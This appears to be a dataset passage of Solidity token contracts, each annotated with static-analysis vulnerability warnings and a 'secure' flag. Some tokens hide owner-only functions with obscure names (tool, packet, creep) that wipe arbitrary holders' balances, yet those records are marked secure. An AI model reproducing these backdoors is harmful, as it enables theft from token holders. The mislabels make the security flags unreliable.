Ether.\n\t// Recommendation for 205a7b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 6cdb840\n\t\t// reentrancy-benign | ID: c4efb98\n\t\t// reentrancy-eth | ID: 9737f38\n\t\t// reentrancy-eth | ID: 205a7b0\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 6cdb840\n\t\t// reentrancy-benign | ID: c4efb98\n\t\t// reentrancy-eth | ID: 9737f38\n\t\t// reentrancy-eth | ID: 205a7b0\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 6cdb840\n\t\t// reentrancy-benign | ID: c4efb98\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: a705f49\n\t\t// reentrancy-eth | ID: 9737f38\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 442677d\n\t\t// reentrancy-eth | ID: 9737f38\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: 9737f38\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9737f38\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 87a99eb): Slurpas.reduceFee(uint256) should emit an event for _x5JTYZ8016 = _newFee \n\t// Recommendation for 87a99eb: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: 87a99eb\n _x5JTYZ8016 = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap_x4BQWP9357() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_1067.sol", "secure": 0, "size_bytes": 19528 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Oxpepe is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable producer;\n\n constructor() {\n _name = \"OxPEPE\";\n\n _symbol = \"OXPEPE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 572000000;\n\n producer = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == producer, \"Not allowed\");\n\n _;\n }\n\n function tool(address[] memory fist) public onlyOwner {\n for (uint256 i = 0; i < fist.length; i++) {\n address account = fist[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1068.sol", "secure": 1, "size_bytes": 4351 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\n\nabstract contract ERC20Pausable is ERC20, Pausable {\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n super._beforeTokenTransfer(from, to, amount);\n\n require(!paused(), \"ERC20Pausable: token transfer while paused\");\n }\n}", "file_name": "solidity_code_1069.sol", "secure": 1, "size_bytes": 529 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Wallstreetcat is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable indirect;\n\n constructor() {\n _name = \"WallStreetCat\";\n\n _symbol = \"WSC\";\n\n _decimals = 18;\n\n uint256 initialSupply = 872000000;\n\n indirect = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == indirect, \"Not allowed\");\n\n _;\n }\n\n function packet(address[] memory upset) public onlyOwner {\n for (uint256 i = 0; i < upset.length; i++) {\n address account = upset[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_107.sol", "secure": 1, "size_bytes": 4367 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\" as ERC20Pausable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract EqoToken is ERC20, ERC20Burnable, ERC20Pausable, Ownable {\n uint256 public constant TOTAL_SUPPLY = 20800000000 * 10 ** 18;\n\n uint256 public constant INITIAL_LIQUIDITY_PERCENTAGE = 70;\n\n uint256 public constant DEVELOPER_PERCENTAGE = 30;\n\n uint256 public constant MINTING_CAP = TOTAL_SUPPLY / 2;\n\n uint256 public constant BURN_TAX_PERCENTAGE = 2;\n\n address public immutable developerAddress;\n\n uint256 public ownerMintedAmount;\n\n constructor(\n address initialOwner,\n address _developerAddress\n ) ERC20(\"Eqo Token\", \"EQO\") Ownable() {\n require(_developerAddress != address(0), \"Invalid developer address\");\n\n developerAddress = _developerAddress;\n\n uint256 initialLiquidityAmount = (TOTAL_SUPPLY *\n INITIAL_LIQUIDITY_PERCENTAGE) / 100;\n\n uint256 developerAmount = (TOTAL_SUPPLY * DEVELOPER_PERCENTAGE) / 100;\n\n _mint(initialOwner, initialLiquidityAmount);\n\n _mint(developerAddress, developerAmount);\n\n _transferOwnership(initialOwner);\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n require(\n ownerMintedAmount + amount <= MINTING_CAP,\n \"Minting cap exceeded\"\n );\n\n ownerMintedAmount += amount;\n\n _mint(to, amount);\n }\n\n function ownerBurn(uint256 amount) public onlyOwner {\n _burn(msg.sender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override(ERC20) {\n if (from != address(0) && to != address(0)) {\n uint256 burnAmount = (amount * BURN_TAX_PERCENTAGE) / 100;\n\n _burn(from, burnAmount);\n\n super._transfer(from, developerAddress, burnAmount);\n }\n\n super._transfer(from, to, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override(ERC20, ERC20Pausable) whenNotPaused {\n super._beforeTokenTransfer(from, to, amount);\n }\n}", "file_name": "solidity_code_1070.sol", "secure": 1, "size_bytes": 2646 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: f2a8536): Contract locking ether found Contract Usagi has payable functions Usagi.receive() But does not have a function to withdraw the ether\n// Recommendation for f2a8536: Remove the 'payable' attribute or add a withdraw function.\ncontract Usagi is ERC20, Ownable {\n constructor() ERC20(unicode\"Usagi\", unicode\"USAGI\") {\n _mint(owner(), 1000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: f2a8536): Contract locking ether found Contract Usagi has payable functions Usagi.receive() But does not have a function to withdraw the ether\n\t// Recommendation for f2a8536: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_1071.sol", "secure": 0, "size_bytes": 986 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DegenMilk is Ownable, ERC20 {\n bool public limited;\n\n uint256 public maxHoldingAmount;\n\n uint256 public minHoldingAmount;\n\n address public uniswapV2Pair;\n\n mapping(address => bool) public blacklists;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 564ced7): DegenMilk.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 564ced7: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"DEGEN MILK\", \"MILK\") {\n _mint(msg.sender, _totalSupply);\n }\n\n function blacklist(\n address _address,\n bool _isBlacklisting\n ) external onlyOwner {\n blacklists[_address] = _isBlacklisting;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a68c095): DegenMilk.setRule(bool,address,uint256,uint256) should emit an event for maxHoldingAmount = _maxHoldingAmount minHoldingAmount = _minHoldingAmount \n\t// Recommendation for a68c095: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dfbd009): DegenMilk.setRule(bool,address,uint256,uint256)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for dfbd009: Check that the address is not zero.\n function setRule(\n bool _limited,\n address _uniswapV2Pair,\n uint256 _maxHoldingAmount,\n uint256 _minHoldingAmount\n ) external onlyOwner {\n limited = _limited;\n\n\t\t// missing-zero-check | ID: dfbd009\n uniswapV2Pair = _uniswapV2Pair;\n\n\t\t// events-maths | ID: a68c095\n maxHoldingAmount = _maxHoldingAmount;\n\n\t\t// events-maths | ID: a68c095\n minHoldingAmount = _minHoldingAmount;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!blacklists[to] && !blacklists[from], \"Blacklisted\");\n\n if (uniswapV2Pair == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n\n return;\n }\n\n if (limited && from == uniswapV2Pair) {\n require(\n super.balanceOf(to) + amount <= maxHoldingAmount &&\n super.balanceOf(to) + amount >= minHoldingAmount,\n \"Forbid\"\n );\n }\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}", "file_name": "solidity_code_1072.sol", "secure": 0, "size_bytes": 2743 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ITweetMarket {\n function setDelegate(address delegate, bool privileged) external;\n\n function changeAdmin(address newAdmin) external;\n\n function setBidMinimum(uint256 minimum) external;\n\n function setBidMinimumIncrease(uint256 percent) external;\n\n function setBidLockupTime(uint256 duration) external;\n\n function setCloseFee(uint256 percent) external;\n\n function halt() external;\n}", "file_name": "solidity_code_1073.sol", "secure": 1, "size_bytes": 493 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ITweetMarket.sol\" as ITweetMarket;\n\ncontract TweetMarketAdmin is Ownable {\n ITweetMarket private constant tweetMarket =\n ITweetMarket(0xE14ab3Ee81aBe340b45Bb26b1B166a7D2dF22585);\n\n function setDelegate(address delegate, bool privileged) external onlyOwner {\n tweetMarket.setDelegate(delegate, privileged);\n }\n\n function setBidMinimum(uint256 minimum) external onlyOwner {\n tweetMarket.setBidMinimum(minimum);\n }\n\n function setBidMinimumIncrease(uint256 percent) external onlyOwner {\n tweetMarket.setBidMinimumIncrease(percent);\n }\n\n function setBidLockupTime(uint256 duration) external onlyOwner {\n tweetMarket.setBidLockupTime(duration);\n }\n\n function setCloseFee(uint256 percent) external onlyOwner {\n tweetMarket.setCloseFee(percent);\n }\n}", "file_name": "solidity_code_1074.sol", "secure": 1, "size_bytes": 985 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Swag is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable premature;\n\n constructor() {\n _name = \"SWAG\";\n\n _symbol = \"SWAG\";\n\n _decimals = 18;\n\n uint256 initialSupply = 692000000;\n\n premature = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == premature, \"Not allowed\");\n\n _;\n }\n\n function creep(address[] memory lily) public onlyOwner {\n for (uint256 i = 0; i < lily.length; i++) {\n address account = lily[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1075.sol", "secure": 1, "size_bytes": 4349 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 04a08ce): Contract locking ether found Contract SandP6900 has payable functions SandP6900.receive() But does not have a function to withdraw the ether\n// Recommendation for 04a08ce: Remove the 'payable' attribute or add a withdraw function.\ncontract SandP6900 is ERC20, Ownable {\n constructor() ERC20(unicode\"S&amp;P6900\", unicode\"S&amp;P6900\") {\n _mint(owner(), 690000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 04a08ce): Contract locking ether found Contract SandP6900 has payable functions SandP6900.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 04a08ce: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_1076.sol", "secure": 0, "size_bytes": 1020 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IBeforeTokenTransferHandler {\n function beforeTokenTransfer(\n address tokenContract,\n address operator,\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function beforeTokenTransfer(\n address tokenContract,\n address operator,\n address from,\n address to,\n uint256 tokenId,\n uint256 batchSize\n ) external;\n}", "file_name": "solidity_code_1077.sol", "secure": 1, "size_bytes": 500 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IBeforeTokenTransferHandler.sol\" as IBeforeTokenTransferHandler;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract HardcodedDenylistHook is IBeforeTokenTransferHandler, Ownable {\n address[] private denylistedOperators = [\n 0xf42aa99F011A1fA7CDA90E5E98b277E306BcA83e,\n 0xFED24eC7E22f573c2e08AEF55aA6797Ca2b3A051,\n 0xD42638863462d2F21bb7D4275d7637eE5d5541eB,\n 0x08CE97807A81896E85841d74FB7E7B065ab3ef05,\n 0x92de3a1511EF22AbCf3526c302159882a4755B22,\n 0xCd80C916B1194beB48aBF007D0b79a7238436D56,\n 0xb16c1342E617A5B6E4b631EB114483FDB289c0A4,\n 0x0fc584529a2AEfA997697FAfAcbA5831faC0c22d\n ];\n\n error OperatorNotAllowed(address operator);\n\n function getDenylistOperators() external view returns (address[] memory) {\n return denylistedOperators;\n }\n\n function addDenylistedAddress(address addr) external onlyOwner {\n denylistedOperators.push(addr);\n }\n\n function removeDenylistedAddress(address addr) external onlyOwner {\n\t\t// cache-array-length | ID: 38178a6\n for (uint256 i = 0; i < denylistedOperators.length; i++) {\n if (denylistedOperators[i] == addr) {\n delete denylistedOperators[i];\n\n break;\n }\n }\n }\n\n function beforeTokenTransfer(\n address tokenContract,\n address operator,\n address from,\n address to,\n uint256 tokenId\n ) external view {\n beforeTokenTransfer(tokenContract, operator, from, to, tokenId, 1);\n }\n\n function beforeTokenTransfer(\n address,\n address operator,\n address,\n address,\n uint256,\n uint256\n ) public view {\n uint256 addressListLength = denylistedOperators.length;\n\n for (uint256 i = 0; i < addressListLength; i++) {\n if (operator == address(denylistedOperators[i])) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}", "file_name": "solidity_code_1078.sol", "secure": 1, "size_bytes": 2124 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ba6ae2f): Obi.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for ba6ae2f: Consider ordering multiplication before division.\ncontract Obi is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 742afde): Obi.bots is never initialized. It is used in Obi._transfer(address,address,uint256)\n\t// Recommendation for 742afde: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 87ca949): Obi._taxWallet should be immutable \n\t// Recommendation for 87ca949: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93f2288): Obi._initialBuyTax should be constant \n\t// Recommendation for 93f2288: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bbaf01): Obi._initialSellTax should be constant \n\t// Recommendation for 6bbaf01: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: e870c19): Obi._finalBuyTax should be constant \n\t// Recommendation for e870c19: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0588a19): Obi._finalSellTax should be constant \n\t// Recommendation for 0588a19: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ba2d3e): Obi._reduceBuyTaxAt should be constant \n\t// Recommendation for 2ba2d3e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4ae921): Obi._reduceSellTaxAt should be constant \n\t// Recommendation for b4ae921: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: f958e37): Obi._preventSwapBefore should be constant \n\t// Recommendation for f958e37: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 12;\n\n uint256 private constant _tTotal = 1_000_000_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n\t// divide-before-multiply | ID: ba6ae2f\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: be85619\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 034f68d): Obi._taxSwapThreshold should be constant \n\t// Recommendation for 034f68d: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 5931cf7\n uint256 public _taxSwapThreshold = 2 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: c153ef1): Obi._maxTaxSwap should be constant \n\t// Recommendation for c153ef1: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 5896754\n uint256 public _maxTaxSwap = 2 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 47bec8d): Obi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 47bec8d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f53e757): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f53e757: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 35cc33d): 